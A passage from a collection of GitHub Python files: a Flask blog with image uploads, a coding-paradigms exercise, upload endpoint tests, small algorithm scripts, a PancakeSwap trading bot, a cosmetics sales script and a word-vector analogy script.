False:\n #os.makedirs(g.user['username'])\n if not title:\n error = 'Title is required.'\n if error is not None:\n flash(error)\n else:\n db = get_db()\n db.execute(\n 'INSERT INTO post (title, body, author_id, files)'\n ' VALUES (?, ?, ?, ?)',\n (title, body, g.user['id'], files)\n )\n db.commit()\n for uploaded_file in request.files.getlist('file'):\n filename = secure_filename(uploaded_file.filename) \n if filename != '':\n file_ext = os.path.splitext(filename)[1]\n if file_ext not in current_app.config['UPLOAD_EXTENSIONS'] or \\\n file_ext != validate_image(uploaded_file.stream):\n return \"Invalid image\", 400\n filename = uuid.uuid4().hex + file_ext\n uploaded_file.save(os.path.join(current_app.config['UPLOAD_PATH'], filename))\n\n return redirect(url_for('blog.gallery'))\n \n@bp.route('/img/')\ndef upload(filename):\n for files in request.files.getlist('files'):\n filename = files\n return send_from_directory(current_app.config['UPLOAD_PATH'], filename)\n\n@bp.route('/blog')\ndef gallery():\n db = get_db()\n posts = db.execute(\n 'SELECT p.id, title, body, created, author_id, username'\n ' FROM post p JOIN user u ON p.author_id = u.id'\n ' ORDER BY created DESC'\n ).fetchall()\n #if os.path.exists(g.user['username']) is True:\n images = os.listdir(current_app.config['UPLOAD_PATH'])\n return render_template('blog/gallery.html', posts=posts, images=images)\n #else:\n #return render_template('blog/gallery.html', posts=posts)\n\ndef get_post(id, check_author=True):\n post = get_db().execute(\n 'SELECT p.id, title, body, created, author_id, username'\n ' FROM post p JOIN user u ON p.author_id = u.id'\n ' WHERE p.id = ?',\n (id,)\n ).fetchone()\n\n if post is None:\n abort(404, f\"Post id {id} doesn't exist.\")\n\n if check_author and post['author_id'] != g.user['id']:\n abort(403)\n\n return post\n\n@bp.route('//update', methods=('GET', 'POST'))\n@login_required\ndef update(id):\n post = get_post(id)\n\n if request.method == 'POST':\n title = request.form['title']\n body = request.form['body']\n error = None\n\n if not title:\n error = 'Title is required.'\n\n if error is not None:\n flash(error)\n else:\n db = get_db()\n db.execute(\n 'UPDATE post SET title = ?, body =?'\n ' WHERE id = ?',\n (title, body, id)\n )\n db.commit()\n return redirect(url_for('blog.gallery'))\n\n return render_template('blog/update.html', post=post)\n\n@bp.route('//delete', methods=('POST',))\n@login_required\ndef delete(id):\n get_post(id)\n db = get_db()\n db.execute('DELETE FROM post WHERE id = ?', (id,))\n db.commit()\n return redirect(url_for('blog.gallery'))","repo_name":"musrex/birthdayjo","sub_path":"birthdayjo/blog.py","file_name":"blog.py","file_ext":"py","file_size_in_byte":4267,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"13394962188","text":"#Question 1 - Functional Prompt\n\nprint(\"--Question 1--\")\n\ndef flatten_and_sort(array):\n nums = [] # Initialize an empty list to store flattened elements\n\n#Outer loop iterates through each sublist 'item' in the 'arr'\n for item in array:\n # Inner loop iterates through each element 'n' in the sublist 'item'\n for n in item:\n nums.append(n) # Append the element 'n' to the 'nums' list\n\n return sorted(nums) # Return the sorted 'nums' list\n\n\n#1. The code lacks full data immutability enforcement.\n#2. The code doesn't qualify as a pure function due to its modification of the 'flattened_nums' list, leading to side effects.\n#3. This code doesn't demonstrate higher-order function characteristics as it doesn't incorporate other functions.\n#4. A loop has been utilized within this function.\n#5. Enhances code clarity while managing data.\n\n\n#Question 2 Object Oriented Prompt\n\nclass Podracer:\n def __init__(self, max_speed, condition, price):\n self.max_speed = max_speed\n self.condition = condition\n self.price = price\n\n def repair(self):\n self.condition = \"repaired\"\n\nclass AnakinsPod(Podracer):\n def boost(self):\n self.max_speed *= 2\n\nclass SebulbasPod(Podracer):\n def flame_jet(self, other_podracer):\n other_podracer.condition = \"trashed\"\n\n\n# Create instances of Podracers\npodracer1 = Podracer(800, \"perfect\", 50000)\nanakins_pod = AnakinsPod(1200, \"trashed\", 80000)\nsebulbas_pod = SebulbasPod(1000, \"repaired\", 60000)\n\n# Demonstrate the functionality\nprint(\"Original condition:\", podracer1.condition)\npodracer1.repair()\nprint(\"Repaired condition:\", podracer1.condition)\n\nprint(\"Anakin's Pod max speed before boost:\", anakins_pod.max_speed)\nanakins_pod.boost()\nprint(\"Anakin's Pod max speed after boost:\", anakins_pod.max_speed)\n\nprint(\"Sebulba's Pod condition before flame jet:\", sebulbas_pod.condition)\nsebulbas_pod.flame_jet(podracer1)\nprint(\"Sebulba's Pod condition after flame jet:\", podracer1.condition)\n\n#1:Encapsulation: Classes encapsulate data and methods, hiding internal details and providing data protection.\n#2:Abstraction: Classes abstract implementation complexities, enabling interaction through exposed methods and attributes.\n#3:Inheritance: Creates a hierarchy of classes, allowing derived classes to inherit attributes and methods from a base class, promoting code reuse and representing \"is-a\" relationships.\n#4:Polymorphism: Polymorphism enables different classes to be treated as instances of a common superclass, facilitating flexibility and interchangeability in handling related objects.\n\n#Coding Style Comparison: Using an Object-Oriented approach benefits by organizing code around entities, improving modularity and maintainability. Procedural programming might lead to code duplication and less clear representation of relationships and behaviors.\n\n#Assistance of Object-Oriented Programming:Object-Oriented Programming aids by structuring code, modeling real-world relationships, and promoting modularity for easy maintenance.\n\n#Is one of these coding paradigms \"better\" than the other? Why or why not?\n#1 The superiority of one paradigm depends on context and problem.\n#2 Functional programming excels in immutability and clear code.\n#3 Object-Oriented Programming shines in modeling more complex systems.\n\n\n#Given the opportunity to work predominantly using either of these coding paradigms, which seems more appealing? Why?\n#1 Preference depends on project and developer.\n#2 Functional programming: Purity, predictability, no side effects.\n#3 Object-Oriented Programming: Real-world modeling, entity relationships.\n\n#Now being more familiar with these coding paradigms, what tasks/features/pieces of logic would be best handled using functional programming? Object Oriented Programming?\n#1 Functional Programming:\n#2 Mathematical computations, data, complex logic.\n#3 Object-Oriented Programming:\n#4 Modeling entities, interactions between objects, modular systems.\n\n#Personally, which of these styles takes more work to understand? What should be done to deepen understanding related to this paradigm?\n# Functional Programming:\n# Challenging due to immutability and functional concepts.\n# Deepen understanding: Practice simpler tasks, gradually complex problems.\n# Object-Oriented Programming:\n# Complex initially with class relationships and inheritance.\n# Deepen understanding: Practice, read examples, build small projects.\n\n","repo_name":"gonzalezbri/Reflecting-on-Coding-Paradigms","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4451,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"22587485644","text":"import pytest\r\nimport os, sys\r\nsys.path.append(os.path.dirname(os.path.dirname(os.path.abspath(__file__))))\r\nfrom app import app\r\nfrom dotenv import dotenv_values\r\nimport json\r\nfrom io import BytesIO\r\n\r\njwt_config = dotenv_values(\"./env/jwt_secret.env\")\r\ndatabase_config = dotenv_values(\"./env/database.env\")\r\ntest_config = dotenv_values(\"./env/testing.env\")\r\n\r\ntoken = test_config[\"FAKE_TOKEN\"]\r\n\r\n@pytest.fixture\r\ndef client():\r\n app.config['TESTING'] = True\r\n with app.test_client() as client:\r\n yield client\r\n\r\n# 1 - no token\r\ndef test_no_token(client):\r\n response = client.post(\"http://localhost:5000/fileUpload?token=faketoken\")\r\n response_body = json.loads(response.data)\r\n assert response_body[\"status\"] == 'fail' and response_body[\"message\"] == \"Token Error: Invalid token, please log in again.\"\r\n\r\n# 2 - no file\r\ndef test_no_file(client):\r\n response = client.post(\"http://localhost:5000/fileUpload?token=\" + token)\r\n response_body = json.loads(response.data)\r\n assert response_body[\"status\"] == 'fail' and response_body[\"message\"] == \"Missing File\"\r\n\r\n# 3 - no file name\r\ndef test_no_file_name(client):\r\n data = {\r\n 'field': 'value',\r\n 'file': (BytesIO(b'FILE CONTENT'), '')\r\n }\r\n response = client.post(\"http://localhost:5000/fileUpload?token=\" + token,\r\n content_type='multipart/form-data',\r\n data=data \r\n )\r\n response_body = json.loads(response.data)\r\n assert response_body[\"status\"] == 'fail' and response_body[\"message\"] == \"No Selected File\"\r\n\r\n# 4 - wrong file extension\r\ndef test_wrong_file_extension(client):\r\n data = {\r\n 'field': 'value',\r\n 'file': (BytesIO(b'FILE CONTENT'), './test/test.txt')\r\n }\r\n response = client.post(\"http://localhost:5000/fileUpload?token=\" + token,\r\n content_type='multipart/form-data',\r\n data=data \r\n )\r\n response_body = json.loads(response.data)\r\n assert response_body[\"status\"] == 'fail' and response_body[\"message\"] == \"Invalid File Extension.\"\r\n\r\n# 5 - valid file for prediction\r\ndef test_valid_file(client):\r\n test_fin = open(('./test/fc_test.png'), \"rb\")\r\n test_file = test_fin.read()\r\n test_fin.close()\r\n\r\n data = {\r\n 'field': 'value',\r\n 'file': (BytesIO(test_file), './test/fc_test.png')\r\n }\r\n response = client.post(\"http://localhost:5000/fileUpload?token=\" + token,\r\n content_type='multipart/form-data',\r\n data=data \r\n )\r\n response_body = json.loads(response.data)\r\n assert response_body[\"status\"] == 'success' and response_body[\"message\"] == \"RCNN Detection Succeeded.\"\r\n","repo_name":"SteveLim99/graphAI","sub_path":"test/test_obj_detect.py","file_name":"test_obj_detect.py","file_ext":"py","file_size_in_byte":2697,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"82"} +{"seq_id":"22658480214","text":"# Check Armstrong\r\n#\r\n# Write a Program to determine if the given number is Armstrong number or not.\r\n# Print true if number is armstrong, otherwise print false.\r\n# An Armstrong number is a number (with digits n) such that the sum of its digits\r\n# raised to nth power is equal to the number itself.\r\n#\r\n# For example: 371, as 3^3 + 7^3 + 1^3 = 371\r\n# 1634, as 1^4 + 6^4 + 3^4 + 4^4 = 1634\r\n#\r\n# Input Format : Integer n\r\n# Output Format : true or false\r\n#\r\n# Sample Input 1 : 1\r\n# Sample Output 1 : true\r\n# Sample Input 2 : 103\r\n# Sample Output 2 : false\r\n\r\ndef is_armstrong(number):\r\n\r\n order = len(str(number)) # order of number\r\n\r\n sum = 0 # initialize sum\r\n\r\n temp = number\r\n while temp > 0:\r\n digit = temp % 10 # this will give remainder or last digit\r\n sum += digit ** order\r\n temp //= 10 # this will give quotient or remaining number\r\n\r\n return (number == sum) # if condition satisfies\r\n\r\nn = int(input(\"Enter a no. to check if it's Armstrong Number or not:\\n\"))\r\nresult = is_armstrong(n)\r\nif (result):\r\n print(\"True\")\r\nelse:\r\n print(\"False\")\r\n\r\n\r\n","repo_name":"mayankkaushikgithub/Python_Basics","sub_path":"7. Functions/Check Armstrong.py","file_name":"Check Armstrong.py","file_ext":"py","file_size_in_byte":1196,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"17385996822","text":"numbers = [99, 44, 6, 2, 1, 5, 63, 87, 283, 4, 0]\n\n\ndef mergeSort(arr):\n arrLength = len(arr)\n mid = arrLength // 2\n if arrLength == 1:\n return arr\n\n left = arr[:mid]\n right = arr[mid:]\n\n return merge(mergeSort(left), mergeSort(right))\n\n\ndef merge(left, right):\n leftLen = len(left)\n rightLen = len(right)\n merged = []\n i = 0\n j = 0\n while i < leftLen and j < rightLen:\n if left[i] <= right[j]:\n merged.append(left[i])\n i += 1\n else:\n merged.append(right[j])\n j += 1\n\n while i < leftLen:\n merged.append(left[i])\n i += 1\n while j < rightLen:\n merged.append(right[j])\n j += 1\n print(merged)\n\n return merged\n\n\nprint(mergeSort(numbers))\n# print(numbers)\n","repo_name":"jkracz/dsa-practice","sub_path":"python/sorting/mergesort.py","file_name":"mergesort.py","file_ext":"py","file_size_in_byte":791,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"27033918462","text":"import os.path\n# from web3 import Web3\n# import json\nimport time\n\nfrom service.email_service import send_notification\nfrom service.service import TxnBot, get_bnb_balance, get_token_balance\nfrom system.logger import logger\nfrom system.load_data import load_data\nfrom system.store_json import *\n\n\n# load coins\ncoins_to_strategy = load_data('config/coins.yml')['COINS']\n\n# load coins with locked amount (Staking)\nlocked_amount = load_data('config/coins.yml')['LOCKED']\n\n# loads local configuration\nconfig = load_data('config/config.yml')\n\n# Is on debug mode\ndebug_mode = load_data('config/config.yml')['DEBUG_MODE']\n\n# Fields of last_transaction.json\nprice_field = 'price'\navailable_field = 'available'\n\n# Fields of transactions.json\ntransaction_field = 'transactions'\n\n\ndef main():\n \"\"\"\n Run strategy every x number of days.\n \"\"\"\n while True:\n logger.info(\"STARTING SCRIPT!\")\n\n # load the order file if it exists\n if os.path.isfile('trades/transactions.json'):\n order = load_order('trades/transactions.json')\n else:\n logger.info(\"No 'order.json' file found, creating new file\")\n order = {}\n\n # load the last_transaction file if it exists\n if os.path.isfile('trades/last_transaction.json'):\n last_transaction = load_order('trades/last_transaction.json')\n else:\n logger.info(\"No 'last_transaction.json' file found, creating new file\")\n last_transaction = {}\n\n pairing = config['TRADE_OPTIONS']['PAIRING']\n buy_percent = config['TRADE_OPTIONS']['BUY_PERCENTAGE'] # -5.0\n sell_percent = config['TRADE_OPTIONS']['SELL_PERCENTAGE'] # 10.0\n min_trade = config['TRADE_OPTIONS']['MIN_TRADE']\n send_always_email = config['SEND_ALWAYS_EMAIL']\n send_only_email = config['SEND_ONLY_EMAIL']\n buy_sell_error = False\n\n email_message = ''\n\n pairing_market_price = 0.0\n\n try:\n # Get current market price of coin\n if pairing == 'BNB':\n pairing_market_price = float(TxnBot('WBNB').get_token_price())\n else:\n pairing_market_price = float(TxnBot(pairing).get_token_price())\n\n time.sleep(2)\n\n except Exception as e:\n if debug_mode:\n print(f\"Error getting {pairing} market price: {e}\")\n\n buy_sell_error = True\n\n message = f'Something went wrong getting {pairing} market price!\\n{e}'\n email_message = f'{email_message} \\n{message}'\n\n logger.warning(f'Can not get {pairing} market price!')\n logger.warning(e)\n\n if debug_mode:\n print(f'Current {pairing} price: {pairing_market_price}')\n\n pairing_spot_balance = 0.0\n\n try:\n # Get spot pairing balance\n if pairing == \"BNB\" or pairing == \"WBNB\":\n pairing_spot_balance = float(get_bnb_balance())\n else:\n pairing_spot_balance = float(get_token_balance(token=pairing))\n\n time.sleep(2)\n\n if debug_mode:\n print(f'Current {pairing} Spot Balance: {pairing_spot_balance} '\n f'(${round(pairing_spot_balance * pairing_market_price, 2)})')\n\n except Exception as e:\n if debug_mode:\n print(f\"Error getting {pairing} Spot Balance: {e}\")\n\n buy_sell_error = True\n\n message = f'Something went wrong getting {pairing} Spot Balance!\\n{e}'\n email_message = f'{email_message} \\n{message}'\n\n logger.warning(f'Can not get {pairing} Spot Balance!')\n logger.warning(e)\n\n # Check if it exists in last_price but not on coins to Buy/Sell\n for key in last_transaction:\n if key not in coins_to_strategy:\n last_transaction[key] = {}\n\n # Trade each coin\n for coin in coins_to_strategy:\n action = 'HOLD' # 'BUY', 'HOLD or 'SELL'\n\n try:\n # Add new coins to traded coins (order.json)\n if coin not in order:\n order[coin] = {}\n order[coin][transaction_field] = []\n\n # If coin do not exist on last_transaction, add it\n if coin not in last_transaction:\n last_transaction[coin] = {}\n\n coin_market_price = 0.0\n\n try:\n # Get current market price of coin\n coin_market_price = float(TxnBot(coin).get_token_price())\n time.sleep(2)\n\n except Exception as e:\n buy_sell_error = True\n\n message = f'Something went wrong getting {coin} market price!\\n{e}'\n email_message = f'{email_message} \\n{message}'\n\n logger.warning(f'Can not get {coin} market price!')\n logger.warning(e)\n\n if debug_mode:\n print('')\n print(f'{coin} current price: {coin_market_price}')\n\n # Checks if coin really has a last trade price\n # If True, calculates de grow percentage\n if price_field in last_transaction[coin].keys() and last_transaction[coin][price_field] != '':\n perc_difference = (coin_market_price / float(last_transaction[coin][price_field]) - 1) * 100\n\n if debug_mode:\n print(f'{coin} last price: {last_transaction[coin][price_field]}')\n print(f'Percentage difference: {\"{:.2f}\".format(perc_difference)}%\\n')\n else:\n # Only happens when there is no last_transaction (first time running the script)\n perc_difference = 0.0 # Make it a HOLD\n\n # Checks if coin really has a last available amount\n if available_field in last_transaction[coin].keys() and last_transaction[coin][available_field] != '':\n # Get coin balance from account\n last_coin_balance = last_transaction[coin][available_field]\n\n else:\n # Only happens when there is no last_transaction (first time running the script)\n last_coin_balance = 0.0\n\n spot_coin_balance = 0.0\n\n try:\n # Get coin spot balance\n if coin == \"BNB\" or coin == \"WBNB\":\n spot_coin_balance = float(get_bnb_balance())\n else:\n spot_coin_balance = float(get_token_balance(token=coin))\n\n time.sleep(2)\n\n except Exception as e:\n buy_sell_error = True\n\n message = f'Something went wrong getting {coin} Spot Balance!\\n{e}'\n email_message = f'{email_message} \\n{message}'\n\n logger.warning(f'Can not get {coin} Spot Balance!')\n logger.warning(e)\n\n # Checks if it has locked amount value\n if coin in locked_amount:\n staked_coin_balance = float(locked_amount[coin])\n else:\n staked_coin_balance = 0.0\n\n total_coin_balance = spot_coin_balance + staked_coin_balance\n\n if debug_mode:\n print(f'Total {coin} Balance = {total_coin_balance} '\n f'(${round(total_coin_balance * coin_market_price, 2)})')\n\n # Protection for redeem before update staked amounts file\n if total_coin_balance > staked_coin_balance * 2 + last_coin_balance:\n total_coin_balance = spot_coin_balance\n\n if debug_mode:\n print(f'Initial {coin} Spot Balance = {spot_coin_balance} '\n f'(${round(spot_coin_balance * coin_market_price, 2)})')\n\n # Lost more than 5%\n # Negative grow = BUY\n if perc_difference < buy_percent:\n action = 'BUY'\n buy_sell_error = True\n balance_in_usd = total_coin_balance * float(coin_market_price)\n buy_qty = balance_in_usd * abs(perc_difference) / 100 * 0.50\n qty_in_pairing = buy_qty / pairing_market_price\n rounded_qty_in_pairing = round(qty_in_pairing, 3)\n\n if debug_mode:\n print('')\n print(f'min_trade: {min_trade}')\n print(f'rounded_qty: {rounded_qty_in_pairing}')\n print(f'pairing_spot_balance: {pairing_spot_balance}\\n')\n\n if rounded_qty_in_pairing >= min_trade:\n if rounded_qty_in_pairing < pairing_spot_balance:\n try:\n # Create buy order\n buy_order = TxnBot(coin).buy_token(rounded_qty_in_pairing)\n time.sleep(2)\n\n order[coin][transaction_field].append(buy_order)\n\n message = f'{action} {rounded_qty_in_pairing} {pairing} of {coin} at ' \\\n f'{coin_market_price} ({\"{:.2f}\".format(perc_difference)}) '\n email_message = f'{email_message} \\n{message}'\n logger.info(message)\n\n last_transaction[coin][price_field] = coin_market_price\n\n if debug_mode:\n print(f'Buy txn: {buy_order}')\n\n except Exception as e:\n buy_sell_error = True\n\n message = f'Something went wrong creating {action} {coin} market order!\\n{e}'\n email_message = f'{email_message} \\n{message}'\n\n logger.warning(f'Can not create {action} {coin} market order!')\n logger.warning(e)\n\n else:\n message = f'Could not {action} {coin} ({rounded_qty_in_pairing}), ' \\\n f'not enough {pairing} balance!'\n email_message = f'{email_message} \\n{message}'\n logger.info(message)\n\n else:\n message = f'Could not {action} {coin} ({\"{:.2f}\".format(perc_difference)}%), ' \\\n f'quantity under minimum trade'\n email_message = f'{email_message} \\n{message}'\n logger.info(message)\n\n # last_transaction[coin]['price'] = market_price\n\n # Grow between -5% and 10% = HOLD\n elif buy_percent <= perc_difference <= sell_percent:\n message = f'{action} {coin} at {coin_market_price} ({\"{:.2f}\".format(perc_difference)}%)'\n email_message = f'{email_message} \\n{message}'\n logger.info(message)\n\n if price_field not in last_transaction[coin].keys():\n last_transaction[coin][price_field] = coin_market_price\n\n # Grow more than 10% = SELL (take some profit)\n elif perc_difference > sell_percent:\n action = 'SELL'\n buy_sell_error = True\n\n balance_in_usd = total_coin_balance * float(coin_market_price)\n buy_qty = balance_in_usd * perc_difference / 100 * 0.50\n qty_in_pairing = buy_qty / pairing_market_price\n rounded_qty_in_pairing = round(qty_in_pairing, 3)\n # rounded_qty_in_pairing = round(buy_qty, 1)\n\n if debug_mode:\n print('')\n print(f'min_trade: {min_trade}')\n print(f'rounded_qty: {rounded_qty_in_pairing}')\n print(f'total_coin_balance: {total_coin_balance}\\n')\n print(f'pairing_spot_balance: {pairing_spot_balance}\\n')\n\n if debug_mode:\n print(f'total_balance: {total_coin_balance}')\n\n # Check if Buy order is above the minimum allow by the exchange\n # If not = HOLD\n if rounded_qty_in_pairing >= min_trade:\n actual_coin_balance_in_usd = spot_coin_balance * coin_market_price\n sell_qty = total_coin_balance * perc_difference / 100 * 0.50\n\n if debug_mode:\n print(f'rounded_qty {rounded_qty_in_pairing}')\n print(f'actual_coin_balance_in_usd {actual_coin_balance_in_usd}')\n print(f'sell_qty {sell_qty}')\n\n if spot_coin_balance > sell_qty:\n try:\n # Create sell order\n sell_order = TxnBot(coin).sell_token(sell_qty)\n time.sleep(2)\n\n order[coin][transaction_field].append(sell_order)\n\n message = f'{action} {sell_qty} of {coin} at {coin_market_price} ' \\\n f'({\"{:.2f}\".format(perc_difference)}%)'\n email_message = f'{email_message} \\n{message}'\n logger.info(message)\n\n last_transaction[coin][price_field] = coin_market_price\n\n if debug_mode:\n print(f'Sell txn: {sell_order}')\n\n except Exception as e:\n buy_sell_error = True\n\n message = f'Something went wrong creating {action} {coin} market order!\\n{e}'\n email_message = f'{email_message} \\n{message}'\n\n logger.warning(f'Can not create {action} {coin} market order!')\n logger.warning(e)\n\n else:\n message = f'Not enough {coin} balance to create market order!'\n email_message = f'{email_message} \\n{message}'\n\n logger.info(message)\n\n else:\n message = f'Could not {action} {coin} ({\"{:.2f}\".format(perc_difference)} %), ' \\\n f'quantity under minimum trade'\n email_message = f'{email_message} \\n{message}'\n logger.info(message)\n\n # last_transaction[coin][price_field] = market_price\n\n final_coin_spot_balance = 0.0\n\n try:\n # Wait some time to transaction approve\n if action != 'HOLD':\n time.sleep(30)\n\n # Get new coin spot balance after BUY, SELL or HOLD\n if coin == \"BNB\" or coin == \"WBNB\":\n final_coin_spot_balance = float(get_bnb_balance())\n else:\n final_coin_spot_balance = float(get_token_balance(token=coin))\n\n time.sleep(2)\n\n # If something goes wrong getting pairing savings balance\n except Exception as e:\n buy_sell_error = True\n\n message = f'Something went wrong getting {coin} Savings Balance!\\n{e}'\n email_message = f'{email_message} \\n{message}'\n\n logger.warning(f'Can not get {coin} Savings Balance!')\n logger.warning(e)\n\n last_transaction[coin][available_field] = final_coin_spot_balance\n\n message = f'Actual {coin} Spot Balance = {final_coin_spot_balance} ' \\\n f'(${round(final_coin_spot_balance * float(coin_market_price), 2)})'\n\n email_message = f'{email_message} \\n{message}\\n'\n logger.info(message)\n\n if debug_mode:\n print(message)\n\n # If something goes wrong\n except Exception as e:\n if debug_mode:\n print(f'Error: {e}')\n\n buy_sell_error = True\n\n message = f'Something went wrong!\\n{e}'\n email_message = f'{email_message} \\n{message}'\n\n logger.warning(f'Order: {action} {coin}')\n logger.warning(e)\n\n # Everything run well\n else:\n if action != 'HOLD':\n store_order('trades/transactions.json', order)\n\n store_last_price('trades/last_transaction.json', last_transaction)\n logger.info(f\"Saved price of {coin} ({last_transaction[coin][price_field]})\")\n\n # Before starting new pair\n time.sleep(2)\n\n spot_pairing_balance = 0.0\n # savings_pairing_balance = 0.0\n\n # Get pairing balance\n try:\n if pairing == \"BNB\" or pairing == \"WBNB\":\n spot_pairing_balance = float(get_bnb_balance())\n else:\n spot_pairing_balance = float(get_token_balance(token=pairing))\n\n time.sleep(2)\n\n # If something goes wrong getting pairing spot balance\n except Exception as e:\n buy_sell_error = True\n\n message = f'Something went wrong getting {pairing} Spot Balance!\\n{e}'\n email_message = f'{email_message} \\n{message}'\n\n logger.warning(f'Can not get {pairing} Spot Balance!')\n logger.warning(e)\n\n message = f'Actual {pairing} Spot Balance = {round(spot_pairing_balance, 5)} ' \\\n f'(${round(spot_pairing_balance * float(pairing_market_price), 2)})'\n email_message = f'{email_message} \\n{message}\\n'\n logger.info(message)\n\n if debug_mode:\n print(email_message)\n\n # Sends an email if enabled.\n if send_always_email or (send_only_email and buy_sell_error):\n send_notification(email_message)\n\n time.sleep(2)\n logger.info('CLOSING SCRIPT!\\n')\n exit()\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"Jolium/pancakeswap-bot","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":18525,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"5363047209","text":"import pandas as pd\nimport datetime\nimport csv\nimport sys\nimport os.path\n\nseparador = (\"-\" * 20) + \"\\n\"\nciclo = 1\nopcion =1\nventas_num = 0\n\nif os.path.exists(\"Productos.csv\") == True:\n productos = pd.read_csv(\"Productos.csv\", index_col=0)\nelse:\n prod_dict = {'Nombre':['Labial','Rimel','Sombras','Corrector','Esmalte de uñas','Delineador','Cejas'],\n 'Precio':[20,50,80,60,15,20,30],\n 'Descripcion':['Mate sin resecar labios','Pestañas largas','Diferentes colores','Con Glitter','No te saca arrugas','Delineadores mate','Solo colores cafes']}\n productos = pd.DataFrame(prod_dict)\n\nif os.path.exists(\"Ventas.csv\") == True:\n ventas = pd.read_csv(\"Ventas.csv\", index_col=0)\nelse:\n ventas = pd.DataFrame(columns=[\"Fecha\", \"Hora\", \"Folio\", \"Cantidad\", \"Pago total\"])\n\nprint (\"*Menu de opciones* \\n\")\nwhile ciclo == 1:\n print(\"1.- Añadir una nueva venta\")\n print(\"2.- Consultar una venta\")\n print(\"3. Salir\")\n print()\n\n opcion = int(input(\"Elige la opcion deseada: \\n\"))\n print (separador)\n\n if opcion == 1:\n precio_total = 0\n while opcion == 1:\n print(productos['Nombre'])\n print(separador)\n\n folio_venta = int(input(\"Folio \\n>\"))\n venta_cantidad = int(input(\"Cantidad \\n>\"))\n opcion = int(input(\"Desea agregar otro producto? 1.Si 2.No \\n>\"))\n precio_total += productos.iloc[folio_venta,1] * venta_cantidad\n print(\" \")\n\n fecha_hora = datetime.datetime.now().replace(microsecond=0)\n fecha_sola = fecha_hora.date()\n hora_sola = fecha_hora.time()\n\n ventas = ventas.append({'Fecha':fecha_sola.strftime('%d/%m/%y'), 'Hora':hora_sola.strftime('%H:%M:%S'), 'Folio':folio_venta, 'Cantidad':venta_cantidad, 'Pago total':precio_total}, ignore_index=True)\n print(f'Precio total a pagar: {precio_total}')\n print(separador)\n\n elif opcion == 2:\n fecha_capt = input(\"Que fecha desea consultar? Por ejemplo '22/04/2021' dd/mm/aa \\n>\")\n try:\n df = pd.read_csv('Ventas.csv')\n dfl = pd.DataFrame(df)\n print(dfl[dfl.Fecha == a])\n except:\n print(f'Ha ocurrido un error')\n\n elif opcion == 3:\n print(\"EJECUCION FINALIZADA\")\n break","repo_name":"AimeeDLG/Evidencia-2","sub_path":"Venta_Cosmeticos.py","file_name":"Venta_Cosmeticos.py","file_ext":"py","file_size_in_byte":2288,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"23731276425","text":"import pickle\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\n\n# loading the data using using pandas\ndata = pd.read_csv('../data/capitals.txt', delimiter=' ')\ndata.columns = ['city1', 'country1', 'city2', 'country2']\n\n# get the word embeddings\nword_embeddings = pickle.load(open(\"../data/word_embeddings_subset.p\", \"rb\"))\nlen(word_embeddings) \n\ndef cosine_similarity(A,B):\n \"\"\" computes the cosine similarity of two vectors \n\n Args:\n A : Vector A corresponding to the first word\n B : Vector corresponding to word B\n Output:\n cos: numerical number representing the cosine similarity between A and B.\n \"\"\"\n\n dot = np.dot(A,B) \n norma = np.linalg.norm(A)\n normb = np.linalg.norm(B) \n cos = dot/(norma*normb)\n\n \n return cos\n \ndef get_country(city1, country1, city2, embeddings, cosine_similarity=cosine_similarity):\n \"\"\"\n Input:\n city1: a string (the capital city of country1)\n country1: a string (the country of capital1)\n city2: a string (the capital city of country2)\n # CODE REVIEW COMMENT: Embedding incomplete code comment, should add \"and values are their emmbeddings\"\n embeddings: a dictionary where the keys are words and\n Output:\n countries: a dictionary with the most likely country and its similarity score\n \"\"\"\n\n # store the city1, country 1, and city 2 in a set called group\n group = (city1,country1, city2)\n\n # get embeddings of city 1\n city1_emb = embeddings[city1]\n\n # get embedding of country 1\n country1_emb = embeddings[country1]\n\n # get embedding of city 2\n city2_emb = embeddings[city2]\n\n # get embedding of country 2 (it's a combination of the embeddings of country 1, city 1 and city 2)\n # Remember: King - Man + Woman = None\n vec = country1_emb-city1_emb +city2_emb\n\n # Initialize the similarity to -1 (it will be replaced by a similarities that are closer to +1)\n similarity = -1\n\n # initialize country to an empty string\n country = ''\n\n # loop through all words in the embeddings dictionary\n for word in embeddings.keys():\n\n # first check that the word is not already in the 'group'\n if word not in group:\n\n # get the word embedding\n word_emb = embeddings[word]\n\n # calculate cosine similarity between embedding of country 2 and the word in the embeddings dictionary\n cur_similarity = cosine_similarity(vec,word_emb)\n\n # if the cosine similarity is more similar than the previously best similarity...\n if cur_similarity > similarity:\n\n # update the similarity to the new, better similarity\n similarity = cur_similarity\n\n # store the country as a tuple, which contains the word and the similarity\n country = word,similarity\n\n\n return country\n\n# Test with an example . should be Uganda\nprint(get_country(\"Nairobi\",\"Kenya\",'Kampala', word_embeddings))\n\n# Test accuracy on the capital cities data in capitals.txt\n\ndef accuracy(data,embeddings):\n \"\"\"returns the accuracy by checking against countries data in the capitals.txt file\n\n Args:\n data : pandas dataframe containing all the country and capital city pairs\n embeddings : word_embeddings.\n output:\n accuracy (float): number_of_correct_predictions/ lenght_of_data \n \"\"\"\n \n correct_preds=0\n\n for i,row in data.iterrows():\n city1=row[0]\n country1=row[1]\n city2=row[2]\n country2=row[3]\n\n country,_=get_country(city1,country1,city2,embeddings)\n if country== country2:\n correct_preds+=1\n\n countries=len(data)\n return correct_preds/countries\n\n# Compute the accuracy on Contries capital pairs data\naccuracy = accuracy(data,word_embeddings)\nprint(f\"Accuracy is {accuracy:.2f}\")\n","repo_name":"billwiliams/NLP","sub_path":"word_vectors/word_vectors.py","file_name":"word_vectors.py","file_ext":"py","file_size_in_byte":3875,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"6954972975","text":"import sys\nimport 